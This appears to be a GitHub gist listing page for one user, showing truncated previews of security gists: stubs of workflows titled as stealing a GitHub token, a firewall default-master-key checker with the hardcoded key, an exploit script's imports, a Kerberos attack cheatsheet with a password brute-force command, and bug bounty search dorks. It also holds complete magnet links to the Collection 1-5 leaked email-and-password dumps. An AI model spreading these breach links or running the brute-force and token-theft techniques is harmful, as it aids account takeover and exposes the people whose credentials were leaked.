jayaram-yalla / victim.yml

Created February 1, 2025 18:57

Victim workflow which post the token to attacker during the build

	name: Build Markitanalysis - publish internally

	on:
	workflow_dispatch:

	jobs:
	build_and_release:
	runs-on: ubuntu-latest
	permissions:
	contents: write # Required to upload assets

jayaram-yalla / build.yml

Created February 1, 2025 18:43

Victim_workflow_Github_token_steal

	name: make token wait

	on:
	workflow_dispatch:

	jobs:
	build_and_release:
	runs-on: ubuntu-latest
	permissions:
	contents: write # Required to upload assets

jayaram-yalla / GH_Token.md

Created February 1, 2025 18:37

Github token key differences

jayaram-yalla / breach.txt

Created May 23, 2024 06:23 — forked from fawazahmed0/breach.txt

Email and password breach collection list

	# Please Note, I am sharing this, hoping this will be used for good public use, such as data analysis, penetration testing etc
	# These links are already available all over the internet
	# Also Note, Trying to login into someone else's account without their permission is unethical and illegal


	# Collection 1
	magnet:?xt=urn:btih:B39C603C7E18DB8262067C5926E7D5EA5D20E12E&dn=Collection%201&tr=udp%3a%2f%2ftracker.coppersurfer.tk%3a6969%2fannounce&tr=udp%3a%2f%2ftracker.leechers-paradise.org%3a6969%2fannounce&tr=http%3a%2f%2ft.nyaatracker.com%3a80%2fannounce&tr=http%3a%2f%2fopentracker.xyz%3a80%2fannounce

	# Collection 2-5 & Antipublic
	magnet:?xt=urn:btih:D136B1ADDE531F38311FBF43FB96FC26DF1A34CD&dn=Collection%20%232-%235%20%26%20Antipublic&tr=udp%3a%2f%2ftracker.coppersurfer.tk%3a6969%2fannounce&tr=udp%3a%2f%2ftracker.leechers-paradise.org%3a6969%2fannounce&tr=http%3a%2f%2ft.nyaatracker.com%3a80%2fannounce&tr=http%3a%2f%2fopentracker.xyz%3a80%2fannounce

jayaram-yalla / AdbCommands

Created January 8, 2023 20:41 — forked from Pulimet/AdbCommands

Adb useful commands list

jayaram-yalla / checkmk.py

Created August 3, 2022 10:07 — forked from rqu1/checkmk.py

check if a PAN firewall is using the default master key when globalprotect is enabled

	from hashlib import md5, sha1
	from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
	from cryptography.hazmat.backends import default_backend
	from base64 import b64encode, b64decode
	import sys, time
	import requests

	DEFAULT_MASTERKEY=b'p1a2l3o4a5l6t7o8'

	class PanCrypt():

jayaram-yalla / HezarSploit.py

Created June 14, 2022 20:33 — forked from Voorivex/HezarSploit.py

	#!/usr/bin/python
	# -- coding: utf-8 --
	import ssl
	import socket
	import os
	import sys
	from argparse import ArgumentParser
	from argparse import RawTextHelpFormatter
	from threading import Thread

jayaram-yalla / kerberos_attacks_cheatsheet.md

Created February 8, 2022 20:29 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md

A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

jayaram-yalla / bug bounty dorks.txt

Created August 15, 2021 08:37 — forked from prinsharma1999/bug bounty dorks.txt

	responsible disclosure reward r=h:UK
	site:..nl intext:security report reward
	inurl:responsible disclosure reward
	inurl:responsible disclosure bounty
	inurl:responsible disclosure swag
	site:..nl intext:responsible disclosure reward
	responsible disclosure reward r=h:eu